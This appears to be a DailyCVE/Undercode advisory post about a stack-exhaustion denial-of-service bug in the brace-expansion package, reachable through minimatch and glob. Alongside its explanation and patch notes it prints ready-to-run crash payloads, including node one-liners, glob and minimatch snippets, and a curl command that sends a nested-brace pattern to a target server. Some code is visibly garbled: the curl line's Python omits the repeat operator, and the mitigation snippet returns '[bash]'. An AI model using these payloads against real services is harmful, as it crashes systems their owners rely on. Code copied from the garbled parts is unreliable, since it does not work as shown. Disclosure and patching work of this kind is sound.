JavaScript, Stack Exhaustion Denial of Service, CVE-2026-XXXX (High) -DC-Sep2026-2645

Listen to this Post

The vulnerability resides in the `expand_()` function of the brace-expansion package, which is a core dependency used by `minimatch` and `glob` for pattern matching. The fundamental issue is that `expand_()` recurses once per level of brace nesting. When an application processes deeply nested input, this recursion exhausts the native call stack, causing a `RangeError: Maximum call stack size exceeded` that terminates the Node.js process if uncaught. This creates a denial of service condition for any server that globs user-supplied patterns.
This vulnerability is distinct from CVE-2026-14257 / GHSA-mh99-v99m-4gvg, which addressed tail recursion on `m.post` driven by chained groups. The nesting depth drives a completely different recursion path that the tail fix never touched. The documented constant-stack-depth guarantee only ever covered chained input, not nested input. It is also distinct from GHSA-6j4f-fj2g-mc7p, which fixed recursion in parseCommaParts(). Both exploit payloads still crash with that fix applied.
There are two distinct recursion sites. First, comma members: each alternative of a brace set is expanded by a recursive call, so nesting a set inside every alternative recurses once per level. A payload like `expand(‘{a,’.repeat(4000) + ‘z’ + ‘}’.repeat(4000))` crashes at depth 3,907 with approximately 15.6 KB of input. Second, single set: a brace set whose body parses to a single part is expanded by a recursive call before being re-wrapped, which recurses once per nesting level. A payload like `expand(‘{‘.repeat(3200) + ‘a,b’ + ‘}’.repeat(3200))` crashes at depth 3,125 with only about 6.25 KB of input. This is the cheapest stack-exhaustion payload known against this package, roughly a quarter the input of GHSA-6j4f-fj2g-mc7p and about a tenth of minimatch’s MAX_PATTERN_LENGTH.
The existing `max` and `maxLength` options do not mitigate this attack because both crashes happen while recursing into sub-expansions before the result set grows. The payloads produce almost no output, so neither bound acts as a limiter. Even `expand(payload, { max: 1, maxLength: 1 })` still overflows. The impact is availability only, with no code execution and no data exposure. Any application passing an untrusted string to expand(), directly or through minimatch or glob as a user-supplied glob pattern, can be crashed remotely by an unauthenticated attacker.

DailyCVE Form

Platform: JavaScript Node.js
Version: 1.1.18-5.0.9
Vulnerability: Stack exhaustion DoS
Severity: High
date: 2026-09-29

Prediction: 2026-10-15

What Undercode Say

Demonstrating the comma members recursion site:

node -e "const {expand} = require('brace-expansion'); expand('{a,'.repeat(4000) + 'z' + '}'.repeat(4000))"

Demonstrating the single set recursion site:

node -e "const {expand} = require('brace-expansion'); expand('{'.repeat(3200) + 'a,b' + '}'.repeat(3200))"

Confirming that max and maxLength do not help:

node -e "const {expand} = require('brace-expansion'); expand('{'.repeat(3200) + 'a,b' + '}'.repeat(3200), {max: 1, maxLength: 1})"

Testing through minimatch:

const minimatch = require('minimatch');
const payload = '{'.repeat(3200) + 'a,b' + '}'.repeat(3200);
minimatch('test', payload);

Testing through glob:

const glob = require('glob');
const payload = '{a,'.repeat(4000) + 'z' + '}'.repeat(4000);
glob(payload, (err, matches) => { console.log(matches); });

Exploit: (Educational Purposes!)

Remote denial of service against a server using glob with user input:

const express = require('express');
const glob = require('glob');
const app = express();
app.get('/files', (req, res) => {
const pattern = req.query.pattern;
glob(pattern, (err, matches) => {
if (err) return res.status(500).send(err.message);
res.json(matches);
});
});
app.listen(3000);

Attack payload sent to crash the server:

curl "http://target:3000/files?pattern=$(python3 -c "print('{'3200 + 'a,b' + '}'3200)")"

Direct expansion crash:

const { expand } = require('brace-expansion');
const crashPayload = '{'.repeat(3125) + 'a,b' + '}'.repeat(3125);
expand(crashPayload);

Protection: from this CVE

The patch introduces a `maxDepth` bound (default EXPANSION_MAX_DEPTH) threaded through expand_(). Past the cap, a group is treated as non-expanding and returned literally, matching how the parser already handles a group that cannot expand. This aligns with the existing `max` and `maxLength` caps, which truncate rather than throw, so `expand()` continues to never throw on any input. The default sits far above any realistic nesting depth and well below the crash threshold.

Mitigation code showing the patched approach:

function expand_(pattern, options, depth = 0) {
if (depth > options.maxDepth) {
return [bash];
}
// ... rest of expansion logic with depth + 1 passed to recursive calls
}

Input validation before processing:

const MAX_SAFE_NESTING = 100;
function isSafePattern(pattern) {
let depth = 0;
let maxDepth = 0;
for (const char of pattern) {
if (char === '{') {
depth++;
maxDepth = Math.max(maxDepth, depth);
} else if (char === '}') {
depth--;
}
}
return maxDepth <= MAX_SAFE_NESTING;
}

Impact

Any application passing an untrusted string to expand(), directly or through minimatch or glob as a user-supplied glob pattern, can be crashed. In Node.js, a `RangeError` that the application does not catch terminates the process, so a server globbing user input is exposed to remote unauthenticated denial of service. The impact is availability only, with no code execution and no data exposure. Verified affected versions include 1.1.18, 2.1.4, 3.0.6, and 5.0.9, at near-identical depths on every line. This is not a regression from any recent fix; the gap predates them.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top